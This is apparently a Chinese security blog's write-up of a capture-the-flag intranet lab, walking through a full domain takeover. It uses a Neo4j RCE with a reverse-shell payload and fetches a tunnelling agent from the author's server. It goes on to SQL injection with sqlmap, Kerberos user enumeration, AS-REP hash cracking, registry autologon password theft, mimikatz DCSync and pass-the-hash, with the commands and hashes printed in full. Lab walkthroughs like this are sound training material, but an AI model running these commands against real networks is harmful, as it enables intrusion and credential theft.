前言:本文中涉及到的技术,只提供思路,严禁用于违法测试
朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把LHACK安全“设为星标”,否则可能就看不到了啦!
当然哦,还是用靶机吧,希望大家都保护好自己,哈哈哈
文末有福利哈!!!
fscan扫扫,还是挺好用,挺方便的。
fscan.exe -h 39.101.173.156
start vulscan
已完成 0/6 [-] webtitle http://39.101.173.156:7473 Get "http://39.101.173.156:7473": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x15\x03\x03\x00\x02\x02P"
[*] WebTitle:http://39.101.173.156:7474 code:200 len:145 title:None
[*] WebTitle:http://39.101.173.156:7687 code:400 len:0 title:None
发现端口存活,查看,7474、7687端口可以看出是neo4j,直接执行命令。
查找payload,neo4j 未授权RCE。
https://github.com/zwjjustdoit/CVE-2021-34371.jar
java -jar rhino_gadget.jar rmi://39.101.173.156:1337 "bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}"
成功接收到反弹的shell,拿到了webshell。
0x03、内网信息收集
查找flag文件。
find / -name flag*
cat /home/neo4j/flag01.txt
拿到flag1。
继续查找别的信息,查看有一个内网的网段。
ip a
使用我们Venom工具来进行内网穿透,还是挺好用的,一行命令就解决了。
https://github.com/Dliv3/Venom
python3 -m http.server 8888
使用http.server建立一个简单的文件传输。
wget http://8.137.xx.xx:8888/agent_linux_x86
vps上:
./admin_linux_x64 -lport 8888
goto 1
sockes 1080
内网机器:./agent_linux_x86 -rhost xx.xx.xx.xx -rport 8888
这样就可以使用端口1080,进行代理访问内网。
文件放在/tmp目录下,这个目录权限比较高,便于操作。(记得chmod)
通过同样的方式上传fscan工具,通过分析得到如下结果。
neo4j@ubuntu:~$ ./fscan -h 172.22.6.0/24
./fscan -h 172.22.6.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.6.12 is alive
(icmp) Target 172.22.6.25 is alive
(icmp) Target 172.22.6.36 is alive
(icmp) Target 172.22.6.38 is alive
[*] Icmp alive hosts len is: 4
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.12:139 open
172.22.6.25:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.38:80 open
172.22.6.38:22 open
172.22.6.12:88 open
172.22.6.36:7687 open
172.22.6.36:22 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo:
[*]172.22.6.12
[->]DC-PROGAME
[->]172.22.6.12
[*] NetInfo:
[*]172.22.6.25
[->]WIN2019
[->]172.22.6.25
[*] 172.22.6.12 (Windows Server 2016 Datacenter 14393)
[*] NetBios: 172.22.6.25 XIAORANG\WIN2019
[*] WebTitle: http://172.22.6.38 code:200 len:1531 title:后台登录
[*] NetBios: 172.22.6.12 [+]DC DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle: https://172.22.6.36:7687 code:400 len:50 title:None
172.22.6.12 域控
172.22.6.25 域内机器
172.22.6.36 当前机器
172.22.6.38 某后台登录界面
0x05、内网渗透
访问这个后台登录界面,查看有无利用点。
抓包看看。使用火狐代理。
发现sql注入,使用sqlmap进行自动探测。
配置kali中得proxychains,使用sockes5代理,上篇文章也有例子。
sqlmap -r 1.txt --dump -T oa_f1Agggg -D oa_db -batch
把users表中的用户名收集成字典username.txt,将下面命令生成的csv粘贴到usersname.txt里
proxychains sqlmap -r 1.txt --dump -D oa_db -T oa_users -C email
在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN,所以当我们没有域凭证时,可以通过Kerberos pre-auth从域外对域用户进行用户枚举
proxychains ./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10
得到两个账号 wenshao@xiaorang.lab 、zhangxin@xiaorang.lab
$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994
$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7
使用hashcat爆破,
hashcat -m 18200 --force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994' rockyou.txt
得到密码:hellokitty
hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7' rockyou.txt
得到密码:strawberry
总结一下得到的账户和密码
zhangxin@xiaorang.lab/strawberry
wenshao@xiaorang.lab/hellokitty
然后我们换上全局代理,这里我们从venom代理换成frp,frp相比较venom,全局代理会比较稳定,所以这块的操作我就使用frp代理,配合使用proxifier,挂全局代理。
使用账号和密码,登录了172.22.6.25,然后查看一下用户
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultUserName REG_SZ yuxuan
DefaultPassword REG_SZ Yuxuan7QbrgZ3L
DefaultDomainName REG_SZ xiaorang.lab
这样就抓到了yuxuan密码
然后我们用BloodHound看一下域里面的结构
先把SharpHound.exe传到内网机中,然后
SharpHound.exe -c all
然后就可以得到BloodHound需要导入的json文件
在kali上面起一个BloodHound
neo4j start
//开启neo4j
bloodhound
上传这个文件
我可以利用这个工具得知我们要攻击的具体路径和大题思路
我可以看到,在172.22.6.25这个用户机,运行登录的用户有三个
HasSession:用户与计算机时进行会话时,凭据会保留在内存中,说明yuxuan这个用户登录过WIN2019
很多用户习惯将计算机设置自动登录,可以使用MSF抓取自动登录的用户名和密码
先生成一个正向的shell
msfvenom -p windows/meterpreter/bind_tcp -f exe -o shy.exe
然后上传到目标机器 win2019 (172.22.6.25)上运行
使用代理运行msf然后连接
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 172.22.6.25
run
发现这种方式不太能行得通
HasSIDHistory:用户的SID历史记录,用户在域迁移后,票据还包含着前域所在组的SID,虽然用户不属于前域,但仍拥有前域的权限
使用yuxuan这个用户抓Administrator的哈希
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
我拿到管理员的哈希,就相当于拿下了域控,我们哈希传递一些就可以拿到flag
proxychains python3 smbexec.py -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 administrator@172.22.6.12
type C:\Users\Administrator\flag\flag*
proxychains python3 smbexec.py XIAORANG/administrator@172.22.6.25 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9
type C:\Users\Administrator\flag\flag*
0x09、总结
web打点-->拿到webshell-->内网穿透-->内网渗透-->域用户枚举-->远程登陆连接-->hash传递-->拿下域控
以上为我的一些做题笔记,大佬勿喷。也不乏我参考了别的大佬写的wp。
感谢各位大佬们关注LHACK安全,正在努力的进步中,后续会坚持更新渗透漏洞思路分享、好用工具分享以及挖掘SRC思路等文章,希望能得到各位师傅们的关注与支持。想要加交流群的师傅,主页加我,备注加群。
公众号主页回复:内网渗透,领取资料。
往期回顾
后台还有很多靶机,感兴趣的师傅们可以玩一玩。